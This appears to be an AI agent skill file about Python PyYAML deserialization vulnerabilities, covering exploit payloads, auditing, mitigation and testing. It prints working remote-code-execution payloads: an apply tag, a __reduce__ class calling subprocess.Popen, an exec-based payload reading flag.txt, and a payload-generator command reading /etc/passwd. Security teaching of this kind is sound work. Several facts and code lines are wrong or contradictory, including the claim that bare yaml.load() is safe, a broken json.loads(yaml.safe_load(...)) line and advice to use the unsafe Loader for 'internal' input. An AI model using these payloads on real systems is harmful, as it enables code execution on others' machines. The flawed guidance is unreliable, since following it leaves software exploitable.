| name | python-yaml-deserialization |
| description | Security skill for understanding, testing, and mitigating Python YAML deserialization vulnerabilities. Use this skill whenever the user mentions YAML deserialization, PyYAML security, Python RCE through YAML, deserialization attacks, or needs to audit code for unsafe yaml.load() usage. Also trigger for requests about safe YAML loading practices, payload generation for authorized security testing, or explaining how !!python/object tags work. |
Python YAML Deserialization Security
This skill helps you understand, test, and mitigate YAML deserialization vulnerabilities in Python applications. Use this for authorized security testing only.
Understanding the Vulnerability
PyYAML can deserialize Python objects, not just raw data. This becomes dangerous when untrusted input is deserialized with unsafe loaders.
How Serialization Works
import yaml
print(yaml.dump(str("lol")))
print(yaml.dump(tuple("lol")))
print(yaml.dump(range(1,10)))
The !!python/ tags indicate Python object serialization, which can execute arbitrary code when deserialized.
Safe vs Unsafe Loaders
| Function | Loader | Safe? | Notes |
|---|
safe_load() | SafeLoader | ✅ Yes | Only basic types |
safe_load_all() | SafeLoader | ✅ Yes | Only basic types |
load() (no Loader) | SafeLoader (PyYAML ≥5.1) | ✅ Yes | Default changed in 5.1 |
load(Loader=Loader) | Loader | ❌ No | Deserializes objects |
load(Loader=UnsafeLoader) | UnsafeLoader | ❌ No | Deserializes objects |
load(Loader=FullLoader) | FullLoader | ❌ No | Deserializes objects |
unsafe_load() | UnsafeLoader | ❌ No | Deserializes objects |
full_load() | FullLoader | ❌ No | Deserializes objects |
Key insight: In PyYAML ≥5.1, yaml.load() without a Loader defaults to SafeLoader. But explicitly specifying Loader, UnsafeLoader, or FullLoader enables object deserialization.
Basic Exploits
Simple Command Execution
import yaml
from yaml import UnsafeLoader
data = b'!!python/object/apply:time.sleep [2]'
yaml.load(data, Loader=UnsafeLoader)
RCE via Custom Payload
import yaml
import subprocess
class Payload:
def __reduce__(self):
return (subprocess.Popen, ('ls',))
serialized = yaml.dump(Payload())
print(serialized)
yaml.load(serialized, Loader=UnsafeLoader)
Legacy Exploit (Old PyYAML Versions)
For PyYAML <5.1 where yaml.load() without Loader was vulnerable:
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag.txt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
Or the one-liner variant:
!!python/object/new:str {
state:
!!python/tuple [
'print(exec("print(open(\"flag.txt\",\"r\").read())"))',
!!python/object/new:Warning { state: { update: !!python/name:exec } },
],
}
Generating Payloads
Use the generate_yaml_payload.py script (bundled with this skill) to create test payloads:
python scripts/generate_yaml_payload.py --command "cat /etc/passwd" --output payload.yaml
Or use the external tool python-deserialization-attack-payload-generator:
python3 peas.py
Auditing Code for Vulnerabilities
Vulnerable Patterns
yaml.load(data, Loader=UnsafeLoader)
yaml.load(data, Loader=Loader)
yaml.load(data, Loader=FullLoader)
yaml.unsafe_load(data)
yaml.full_load(data)
yaml.load(data)
Safe Patterns
yaml.safe_load(data)
yaml.safe_load_all(data)
yaml.load(data)
import json
data = json.loads(yaml.safe_load(raw_input))
Quick Audit Checklist
- Search for
yaml.load( in codebase
- Check if Loader parameter is specified
- If Loader is
UnsafeLoader, Loader, or FullLoader → VULNERABLE
- If using
unsafe_load() or full_load() → VULNERABLE
- Check PyYAML version - <5.1 without Loader is vulnerable
- Verify all YAML input is from trusted sources
Mitigation Strategies
1. Always Use safe_load()
data = yaml.safe_load(file_content)
2. Validate Input Source
if source == "internal_config":
data = yaml.load(content, Loader=Loader)
else:
data = yaml.safe_load(content)
3. Use Alternative Formats
Consider JSON for data interchange - it doesn't support object deserialization:
import json
data = json.loads(json_string)
4. Pin PyYAML Version
[dependencies]
pyyaml = ">=5.1"
Testing Your Application
1. Check for Vulnerable Loaders
grep -r "yaml.load" --include="*.py" .
grep -r "UnsafeLoader" --include="*.py" .
grep -r "FullLoader" --include="*.py" .
2. Test with Payload
import yaml
from yaml import UnsafeLoader
test_payload = b'!!python/object/apply:time.sleep [1]'
try:
yaml.load(test_payload, Loader=UnsafeLoader)
print("VULNERABLE: Object deserialization enabled")
except Exception as e:
print(f"Safe: {e}")
3. Verify safe_load Works
import yaml
safe_data = yaml.safe_load("name: test\nvalue: 123")
print(safe_data)
try:
yaml.safe_load("!!python/object/apply:time.sleep [1]")
except Exception as e:
print(f"Correctly blocked: {e}")
References
When to Use This Skill
Use this skill when you need to:
- Audit Python code for YAML deserialization vulnerabilities
- Generate test payloads for authorized security testing
- Understand how !!python/object tags work
- Learn safe YAML loading practices
- Explain deserialization attacks to stakeholders
- Convert vulnerable yaml.load() calls to safe alternatives
- Test applications for RCE via YAML